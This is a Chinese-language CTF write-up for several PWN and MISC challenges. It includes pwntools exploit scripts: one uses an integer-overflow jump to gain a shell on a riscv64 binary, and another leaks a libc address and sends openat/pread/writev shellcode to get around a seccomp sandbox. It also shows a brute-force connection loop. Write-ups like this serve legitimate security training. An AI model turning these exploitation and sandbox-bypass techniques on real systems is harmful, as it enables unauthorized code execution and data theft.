PWN:
NewBottleOldWine:
riscv64题目,ghidra编译下能正常看伪代码,但是关键处消失,结合ida64可以找出关键代码
红色这坨ghidra啥也没有,不过ida反编译过后结合偏移可知0x11451622此处是getshell的
一开始试偏移,正数发现到不了指定位置,于是考虑整数溢出,慢慢试偏移可以试出来
最后值为-30064770526时刚好可以跳转到0x11451622拿shell
from pwn import *
context(log_level='debug',arch='riscv',bits=64)
io=remote("node6.anna.nssctf.cn",28016)
payload=b"-30064770526"
io.sendafter("have?\n",payload)
io.interactive()
happy2
利用scanf()
输入+-
号不覆盖值的特性,可以以此泄露_IO_2_1_stderr_
地址,然后输入puts
地址进入fork()进程
开启沙盒禁用read connect fork execveat
可以用openat+pread+writev
打orw
shellcraft的openat函数有问题,还是手写比较稳
from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])
io=process("./pwn")
# io=remote("123.249.2.218",10000)
libc=ELF("./libc.so.6")
io.sendlineafter(b"konw\n",b"2")
gdb.attach(io)
pause()
io.sendline(b"+")
io.sendline(b"+")
leak_addr=int(io.recvuntil(b"you konw",drop=True))-libc.sym[b"_IO_2_1_stderr_"]
puts_addr=leak_addr+libc.sym[b"puts"]
print("puts_addr: ",hex(puts_addr))
io.recvuntil(b"now you need to have a try\n")
io.sendline(str(puts_addr).encode())
payload = asm('mov rax, 0x67616c66; push rax; mov rdi, 0xffffff9c; mov rsi,rsp; xor rdx,rdx; mov rax,257;syscall;') #openat flag
# payload = asm('mov rax, 0x67616c66; push rax; mov rdi,rsp; xor rsi,rsi; xor rdx,rdx; mov rax,2;syscall;') #open flag
payload += asm(shellcraft.pread(3,0x10500,0x100,0))
payload += asm(shellcraft.writev(1,0x10100,1))
payload = payload.ljust(0x100,b"\x00")+flat(0x10500,0x100)
io.send(payload)
io.interactive()
MISC:
gift_in_qrcode:
最开始本来说爆破,结果给的就是答案,白给
gift_in_qrcode(revenge):
知道一个正确答案就可以爆破了
爆破脚本:
from pwn import *
context(log_level='debug')
while True:
try:
io=remote("node6.anna.nssctf.cn",28833)
payload=b"19"
io.sendlineafter(b"answer:",payload)
t=io.recv()
print(t)
if b"No" in t:
print("FAILED")
io.close()
else:
print(t)
print("SUCCEED")
sys.exit(0)
except:
io.close()
continue
Magic Docker:
pull下来save到本地进去就有flag
docker images #查看images,找到对应镜像id
docker save $id -o 1.zip #以1.zip形式保存镜像至当前目录
New Terminal:
给了一个.wasm
文件,使用wasmtime运行
可以得到一个shell,执行
cat flag|base 64
得到flag,cyberchef base64一把梭即可